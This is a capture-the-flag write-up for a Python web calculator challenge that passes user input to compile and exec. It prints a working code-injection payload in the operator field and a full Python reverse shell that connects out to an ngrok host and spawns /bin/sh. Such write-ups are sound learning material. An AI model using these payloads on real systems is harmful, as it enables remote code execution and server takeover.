Obligatory Calc

Description

In every CTF that I've seen There's always a calculator routine It tests our skills and our wit To solve it, we must not quit Poem by ChatGPT

The web application receives user input from a POST request, then uses the compile function to generate a code object from the string that represent the arithmetic operation.

The code object is then executed using the exec function, and the result is stored in a dictionary called msg.

The web application is using the compile and exec functions to dynamically generate and execute code based on user input, which could be exploited by an attacker to inject malicious code and execute it.

Exploiting the vulnerability

Using burpsuite, I intercepted the request and send it to repeater using Ctrl + R

Next, I modify the int1=1&operator=%2B&int2=1 to a payload to perform blind code execution

int1=1&operator=*__import__('os').system('python -c "import time;time.sleep(5)"')#&int2=1

The web application will sleep for 5 second before returning 0 suggesting that the blind code execution works

Modify the payload to a standard python reverse shell

int1=1&operator=*__import__('os').system('''python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("0.tcp.ngrok.io",18531));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);''')#&int2=1

We have successfully shelled the server and gotten the flag.

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